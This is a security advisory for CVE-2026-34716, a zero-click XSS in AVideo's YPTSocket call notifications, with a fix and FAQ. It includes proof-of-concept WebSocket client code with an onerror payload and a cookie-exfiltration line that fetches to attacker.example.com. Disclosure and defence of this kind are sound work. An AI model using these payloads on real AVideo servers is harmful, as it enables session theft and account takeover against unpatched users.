CVE-2026-34716

The AVideo YPTSocket plugin's caller feature renders incoming call notifications using the jQuery Toast Plugin, passing the caller's display name directly as the heading parameter. The toast plugin constructs the heading as raw HTML ('<h2>' + heading + '</h2>') and inserts it into the DOM via jQuery's .html() method, which parses and executes any embedded HTML or script content. An attacker can set their display name to an XSS payload and trigger code execution on any online user's browser simply by initiating a call - no victim interaction is required beyond being connected to the WebSocket.

Details

When a call notification arrives via WebSocket, the caller's identity is extracted from the JSON message:

// plugin/YPTSocket/caller.js:73
userIdentification = json.from_identification;

This value is passed directly to the jQuery Toast Plugin as the heading:

// plugin/YPTSocket/caller.js:89
heading: userIdentification,

Inside the jQuery Toast Plugin, the heading is rendered as raw HTML:

// node_modules/jquery-toast-plugin/src/jquery.toast.js:60
// Constructs: '<h2>' + heading + '</h2>'
// Then inserts via .html()

jQuery's .html() method parses the string as HTML and executes any script-bearing elements (such as <img onerror>, <svg onload>, etc.).

There is a secondary injection vector in the same file where the full JSON message is placed inside a single-quoted onclick attribute:

// plugin/YPTSocket/caller.js:121-123
imageAndButton += '<button class="btn btn-danger btn-circle incomeCallBtn" onclick=\'hangUpCall(' + JSON.stringify(json) + ')\'><i class="fas fa-phone-slash"></i></button>';
if (isJsonReceivingCall(json)) {
    imageAndButton += '<button class="btn btn-success btn-circle incomeCallBtn" onclick=\'acceptCall(' + JSON.stringify(json) + ')\'><i class="fas fa-phone"></i></button>';

JSON.stringify(json) is placed inside a single-quoted onclick attribute. If any field in json contains a single quote, it breaks the attribute boundary and allows attribute injection.

Proof of Concept

Important note on the attack vector: User::setName() at objects/user.php:2069 uses strip_tags(), so the display name IS sanitized on the server side when set through the normal UI or API. However, the WebSocket server relays call messages as-is without server-side validation of the from_identification field. A malicious WebSocket client can send any from_identification value directly over the WebSocket protocol, bypassing the server-side sanitization entirely. The attack requires a custom WebSocket client, not the normal UI.

Step 1: Connect a malicious WebSocket client and send a forged call message

The following JavaScript connects directly to the AVideo WebSocket server and sends a call message with an XSS payload in the from_identification field:

// Malicious WebSocket client - bypasses server-side strip_tags() sanitization
const ws = new WebSocket('wss://your-avideo-instance.com:8888');

ws.onopen = function() {
    // Send a forged call message with HTML in from_identification
    const payload = {
        msg: 'call',
        from_users_id: 1,
        to_users_id: VICTIM_USER_ID,
        from_identification: '<img src=x onerror=alert(document.cookie)>',
        resourceURL: 'https://your-avideo-instance.com/meet/123'
    };
    ws.send(JSON.stringify(payload));
    console.log('Forged call message sent');
};

Step 2: When the victim receives the call notification, the toast renders from_identification as HTML via jQuery's .html(). The <img> tag triggers the onerror handler, executing JavaScript in the victim's browser context.

More advanced payload for credential exfiltration:

// Credential exfiltration via forged WebSocket call
const ws = new WebSocket('wss://your-avideo-instance.com:8888');
ws.onopen = function() {
    ws.send(JSON.stringify({
        msg: 'call',
        from_users_id: 1,
        to_users_id: VICTIM_USER_ID,
        from_identification: '<img src=x onerror="fetch(\'https://attacker.example.com/log?\'+document.cookie)">',
        resourceURL: 'https://your-avideo-instance.com/meet/123'
    }));
};

Reproduction steps:

1. Identify the WebSocket server address for the target AVideo instance (typically port 8888).
2. Connect a custom WebSocket client to the server.
3. Send a call message with from_identification set to <img src=x onerror=alert(document.cookie)>.
4. Ensure a victim user is online and connected to the WebSocket (any authenticated page with YPTSocket loaded).
5. Observe the XSS payload executing in the victim's browser when the toast notification appears. No victim interaction is required.

This is a zero-click stored XSS vulnerability. The victim does not need to click anything - merely being connected to the WebSocket (which happens automatically on any authenticated page load) is sufficient for the attack to succeed. The attacker controls when the payload fires by initiating a call.

Consequences include:

• Session hijacking: Steal the victim's session cookie and impersonate them.
• Account takeover: If the victim is an administrator, the attacker gains full platform control.
• Worm propagation: The XSS payload can automatically change the victim's display name to the same payload and call other online users, creating a self-propagating worm.
• Keylogging and credential theft: Inject persistent scripts that capture keystrokes on the current page.

The attack is zero-click and can target any specific online user.

• CWE: CWE-79 (Cross-Site Scripting - DOM-based)

Untrusted input is rendered as active markup in a victim's browser, which can run script in their session. Typical impact: session or credential theft, and actions taken as the user.

CVE-2026-34716 has a CVSS score of 6.4 (Medium). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.

Kodem intelligence

HTML-escape the heading value before passing it to $.toast() at plugin/YPTSocket/caller.js:89:

heading: $('<span>').text(userIdentification).html(),

This uses jQuery's .text() to safely encode the user-controlled string, then extracts the escaped HTML via .html().

Found by aisafe.io

1. What is CVE-2026-34716? CVE-2026-34716 is a medium-severity cross-site scripting (XSS) vulnerability in wwbn/avideo (composer), affecting versions <= 26.0. No fixed version is listed yet. Untrusted input is rendered as active markup in a victim's browser, which can run script in their session.
2. How severe is CVE-2026-34716? CVE-2026-34716 has a CVSS score of 6.4 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of wwbn/avideo are affected by CVE-2026-34716? wwbn/avideo (composer) versions <= 26.0 is affected.
4. Is there a fix for CVE-2026-34716? No fixed version is listed for CVE-2026-34716 yet. Monitor the advisory for updates and apply mitigations in the interim.
5. Is CVE-2026-34716 exploitable, and should I be worried? Whether CVE-2026-34716 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-34716 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-34716? No fixed version is listed yet. In the interim: Validate and encode untrusted input before rendering it as HTML. Applying a Content Security Policy reduces the impact if encoding is bypassed.